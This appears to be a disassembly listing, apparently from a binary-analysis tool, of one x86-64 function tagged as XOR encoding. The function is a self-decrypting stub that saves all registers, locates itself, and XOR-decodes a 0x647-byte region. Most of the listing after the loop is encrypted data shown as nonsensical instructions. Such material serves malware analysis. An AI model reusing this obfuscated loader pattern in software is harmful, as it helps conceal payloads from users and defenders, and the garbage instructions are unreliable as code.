Function at 0xafc794
Capabilities:
Encode data using xor

Disassembly:
jmp 0xafc79e
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0xafc7c7
pop rbp
sub rbp, 0x33
sub rbp, 0x6fc794
sub rsp, 0x20
jmp 0xafc7e6
mov rax, 0x6fc794
add rax, rbp
add rax, 0x84
mov rcx, 0x647
mov rdx, 0xfffffffff402fc7c
invalid
xor byte [rax], dl
inc rax
dec rcx
jne 0xafc805
jmp 0xafc81c
xor al, 0xf5
xchg ebp, eax
div ebp
jl 0xafc8a0
jl 0xafc85a
std
mov ebp, 0x7c7c7d74
xor al, 0x7d
xchg ebp, eax
xor al, 0xbb
mov esp, 0x7c7c7c7f
xor al, 0xbb
mov esi, 0x7c7c7c54
xor al, 0x8b
sahf
xor al, 0x7d
mov ebp, 0x7c70fdf7
jl 0xafc8c5
xor al, 0x7d
xchg esp, eax
sub al, 0x2c
xor al, 0xc4
cld
xor ch, byte [rdx + 0x7c]
jl 0xafc8d2
jl 0xafc8d4
xor al, 0xc5
push 0x7c7c2505
jl 0xafc8dd
jl 0xafc897
jge 0xafc7fa
xor al, 0xc6
invalid
push 0x7c
jl 0xafc917
jl 0xafc919
xor al, 0xc5
push 0x7c7c2505
jl 0xafc922
add eax, 0x7c7c7c25
jl 0xafc923
jl 0xafc8dc
xor al, 0x7d
xchg ebp, eax
jge 0xafc83f
xchg esp, eax
jns 0xafc929
jl 0xafc92b
xchg ebp, eax
int1
jle 0xafc92f
jl 0xafc8e3
xchg esp, eax
add dword [rsp + rdi*2 + 0x7c], edi
sub esi, dword es:[rsi*8 - 0x4ab2cb55]
xor al, 0x4d
scasb al, byte [rdi]
call qword [rcx + rdi*2 + 0x73b48334]
clc
sbb byte [rsp + rdi*2 + 0x7c], bh
xchg esp, eax
jns 0xafc8fd
xor dword [rbx + rsi*2 + 0x7c7c18f8], 0x7c
jae 0xafc8c7
hlt
and bh, byte [rsp + rdi*2 + 0x7c]
sbb dh, bh
invalid
jl 0xafc952
jl 0xafc8f2
mul dword [rax + 0x45]
cld
xchg dword [rbx + rsi*2 + 0x7c7c60f8], edx
xchg esp, eax
jae 0xafc8d8
invalid
jl 0xafc95f
jl 0xafc8e1
xchg dword [rbp + 0x7c6ff873], edx
jl 0xafc969
jl 0xafc908
sbb bh, ch
std
xchg dword [rbx + 0x63f87359], eax
jl 0xafc973
jae 0xafc8ec
invalid
jl 0xafc92d
cmp dword [rbp - 0x7c7c4b6b], 0xffffff83
push rbp
xor byte [rbp + 0x7d], al
add dword [rbx + 0x45305583], 0x7d
xor al, 0xfd
mov ebp, 0x7c7c7c79
xor al, 0xfd
jl 0xafc986
jl 0xafc940
std
xchg esp, eax
js 0xafc98c
jl 0xafc98e
xchg ebp, eax
int 0x83
add dword [rbx + 0x7e452855], 0x34
push rbp
sub byte [rbp + 0x7e], al
xor al, 0xfd
jle 0xafc950
std
mov ebp, 0x7c7c7c7a
xor al, 0xfd
std
xchg esi, eax
js 0xafc9a3
jl 0xafc9a5
xor al, 0xfd
xchg esp, eax
jns 0xafc9aa
jl 0xafc9ab
jl 0xafc9ac
jl 0xafc8c6
xchg ebp, eax
out dx, eax
add dword [rbx + 0x2abf2383], 0x2b
sub dword [rsi], ebp
xor al, 0xf5
stosd dword [rdi], eax
xor al, 0xf5
mov dl, pe_nt_image_headers64
invalid
std
mov ebx, 0x7c7c7c7d
jge 0xafc9d0
jl 0xafc9d2
xor al, 0xbb
mov edi, 0x7c7c7c7e
jle 0xafc90d
jl 0xafc9d8
jl 0xafc9dc
scasb al, byte [rdi]
jae 0xafc95a
jnp 0xafc9df
jl 0xafc9e1
imul byte [rdx + 0x34]
cmp dword [rdx - 0x8c5192], 0xffffffae
mov edx, 0xff73ae6e
scasb al, byte [rdi]
add dword [rbx + 0x73ae7e83], 0xfffffff9
scasb al, byte [rdi]
jae 0xafc96f
jnp 0xafc9f4
jl 0xafc9f6
imul byte [rdx + 0x34]
cmp dword [rdx - 0x8c5192], 3
jl 0xafca02
jl 0xafca03
jl 0xafc9bc
xor al, 0x4d
mov esp, 0xf973ae7e
movabs r12, 0x7c7c7c7bf973ae7e
jae 0xafc987
jnp 0xafca0c
jl 0xafca0e
imul byte [rdx + 0x34]
cmp dword [rdx - 0x8c5192], 0x1a
outsb dx, byte [rsi]
scasb al, byte [rdi]
jae 0xafc99a
call [rdx]
sbb bh, byte [rbp + 0x7c]
jge 0xafca1a
jl 0xafca1e
scasb al, byte [rdi]
jae 0xafc99c
jnp 0xafca21
jl 0xafca23
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jle 0xafc961
mov edx, 0x6d34ae6e
outsb dx, byte [rsi]
scasb al, byte [rdi]
xor al, 0x6d
mov esp, 0xf973ae7e
jae 0xafc9ae
jnp 0xafca33
jl 0xafca35
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jle 0xafc973
mov edx, 0x6d34ae6e
xor al, 0x6d
mov esp, 0xf973ae7e
jae 0xafc9c0
jnp 0xafca45
jl 0xafca47
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jle 0xafc985
mov edx, 0x6d34ae6e
outsb dx, byte [rsi]
scasb al, byte [rdi]
xor al, 0x6d
mov esp, 0xf973ae7e
jae 0xafc9d2
stc
jnp 0xafca57
jl 0xafca59
jl 0xafc9d4
imul byte [rdx + 0x34]
push 0x34
xor al, 0x83
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jae 0xafc9e1
mov edx, 0x6d34ae6e
mov esp, 0x7c74f873
je 0xafca67
jl 0xafca68
jl 0xafca69
jl 0xafca22
xor al, 0xf5
cmc
xchg dword [rdx*2 - 0xb800941], esi
jg 0xafc9ea
jnp 0xafca2c
cmp dword [rbx + 0x7ebfbb34], 0x7c
jl 0xafca7d
mov ebx, 0x7c7c7ebf
jl 0xafc997
xchg ebp, eax
sub eax, dword [rbx - 0x44cb7c7d]
mov esp, 0x7c7c7c7d
add dword [rbx - 0x4344cb7d], 0x7d
jl 0xafca88
jl 0xafca8c
jle 0xafc9bd
scasb al, byte [rdi]
jae 0xafca0a
jnp 0xafca8f
jl 0xafca91
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jle 0xafc9cf
outsb dx, byte [rsi]
scasb al, byte [rdi]
xor al, 0x6d
mov esp, 0xf973ae7e
jae 0xafca1c
stc
jnp 0xafcaa1
jl 0xafcaa3
imul byte [rdx + 0x34]
cmp dword [rdx - 0x18c5192], 0xffffffa5
outsb dx, byte [rsi]
scasb al, byte [rdi]
jae 0xafca2e
movsd dword [rdi], dword [rsi]
add dword [rbx - 0x5baacb7d], 0x34
mov ebx, 0x7c7c7dbf
xor dword [rdx*2 - 0x4044cb5c], 0x7d
jl 0xafcab9
push rbp
movsb byte [rdi], byte [rsi]
xor al, 0xbb
mov edi, 0x7c7c7c7d
jae 0xafca39
jl 0xafcab2
stc
jl 0xafcabf
jl 0xafca79
mov ebx, 0x7c7c7dbd
jge 0xafcac5
jl 0xafcac6
jl 0xafcac7
jl 0xafcaca
jle 0xafc9fb
scasb al, byte [rdi]
jae 0xafca48
jnp 0xafcacd
jl 0xafcacf
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffb5
jle 0xafca0d
mov edx, 0x6d34ae6e
scasb al, byte [rdi]
xor al, 0x6d
mov ch, 0x7e
scasb al, byte [rdi]
jae 0xafca5a
jnp 0xafcadf
jl 0xafcae1
imul byte [rdx + 0x34]
xor al, 0x83
cmp dword [rdx - 0x18c5192], 0xffffffa5
mov edx, 0xfe73ae6e
movsd dword [rdi], dword [rsi]
add dword [rbx - 0xacbd57d], 0xffffff82
xor al, 0x55
xchg edx, eax
invalid
movabs al, byte [0xbd34b48334838382]
add dword [rbx + 0x34b48334], 0xffffffbd
pushfq
je 0xafca7f
idiv byte [rdx + 0x34]
jp 0xafcabf
cmp dword [rdx + 0x34b9f534], 0xffffffbb
mov ebp, 0x7c7c7c7d
jle 0xafca47
mov edx, 0x34b9f534
mov ecx, 0x7dbdbb34
mov ebx, 0x7c7c7dbd
jl 0xafcb12
jl 0xafcb16
scasb al, byte [rdi]
jae 0xafca94
jnp 0xafcb19
jl 0xafcb1b
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffb5
jle 0xafca59
xor al, 0x83
mov edx, 0x6d34ae6e
xor al, 0x6d
mov ch, 0x7e
scasb al, byte [rdi]
jae 0xafcaa6
jnp 0xafcb2b
jl 0xafcb2d
imul byte [rdx + 0x34]
push 0x34
cmp dword [rdx - 0x18c5192], 0xffffffa5
add dword [rbx - 0x7b02cb7d], 0x7c
add dword [rsp + rdi*2 + 0x34], edi
invalid
std
test byte [rcx + rax + 0x7c], bh
jl 0xafcafa
xor al, 0xfd
std
movsd dword [rdi], dword [rsi]
add dword [rbx - 0x2cb7c7d], 0xffffff84
add dword [rbx + 0x7c84fd34], 0x79
std
test byte [rcx + rdi*2 + 0x7c], bh
jl 0xafcb08
jl 0xafcb4a
jl 0xafcb4f
xor al, 0xfd
std
movsd dword [rdi], dword [rsi]
add dword [rbx - 0x2cb7c7d], 0xffffff84
cld
jl 0xafcb5c
jl 0xafcb5d
jl 0xafcb16
xor al, 0xfd
std
lodsd eax, dword [rsi]
jl 0xafcb62
jl 0xafcb64
xor al, 0xfd
test ah, bh
jl 0xafcb6a
jl 0xafcb24
std
lodsd eax, dword [rsi]
jl 0xafcb70
jl 0xafcb72
sub dh, byte [rsi*8 - 0x45aacb7e]
invalid
xor al, 0x55
mov edx, 0x9522d88f
and al, 0x82
add dword [rbx - 0x7ccb850a], 0xffffffba
xor al, 0x4d
mov ch, 0xbc
xchg esp, eax
cmp dword [rdx - 0x434ab2cc], 0xffffff94
jge 0xafcb84
clc
pop rsp
jl 0xafcb91
jl 0xafcb4b
xor al, 0xfd
std
lodsd eax, dword [rsi]
jle 0xafcb97
jl 0xafcb99
xor al, 0xf5
mov ecx, 0x82f5342a
xor al, 0x55
mov edx, 0x3422d88f
mov ebx, 0x7c7c7dbf
jl 0xafcac7
jge 0xafcbab
jl 0xafcbad
xchg ebp, eax
pop rbx
invalid
sbb eax, dword [rdi + 0x34]
mov ebx, 0x13bbe8bc
jl 0xafcb88
xor al, 0xbb
mov esp, 0x7c13bbe8
xor al, 0x7d
xchg esp, eax
call 0x352bdf0f
jge 0xafcaea
xor al, 0xfd
mov esp, 0x7c7c7f96
jl 0xafcb92
xor al, 0xbb
mov ebp, 0x7c7c7e9d
mov ebx, 0x7c7e9dbd
jl 0xafcb99
jl 0xafcbe0
xor al, 0xbb
mov esi, 0x1be67a49
insb byte [rdi], dx
xor al, 0x83
mov esp, 0x73b58334
mov ebx, 0xe67a49be
sbb ecx, dword [rsp + rbp*2 + 0x34]
cmp dword [rsp + rsi - 0x68c4a7d], 0xffffff8e
add dword [rbx + 0x7c789583], 0x7c
xor al, 0x83
mov ch, 0x73
stc
mov es, word [rbx + 0x78958383]
jl 0xafcbf9
jl 0xafcbb8
mov dword [rbp - 0x3ffee058], ecx
mov bh, 0x16
sal byte [rdi + 0x7537c216], 0xc2
cmc
jle 0xafcb87
ret 0x7537
invalid
add qword [r8 - 0x42], rcx
add dword [rax - 0x42], ecx
movabs rsi, 0xc201b94801750fc2
ret 0x750f
add dword [rax - 0x47], ecx
add edx, eax
mov ecx, 0x79c9c201
add r8, rax
leave
jns 0xafcbe8
add r8, rax
mov edx, 0xc28a6001
invalid
invalid
enter 0x49b3, 0x49
int 0x1a
add qword [r8 - 0x45], rcx
add qword [r8 - 0x45], rcx
add eax, ecx
mov es, word [rcx + 0x49]
add r8, rcx
movabs al, byte [0x4949b0c849494941]
int 0x98
mov dh, 0xb6
mov dh, 0x2f
ret 0x884e
mov cl, 0x43
int3
invalid
push rcx
add dword [rsi - 0x7f49fe80], esi
add eax, ecx
mov cs, word [rbx + 0x49]
movabs al, byte [0x49494da0b6b6b6f7]
in eax, dx
fmul qword [rcx]
invalid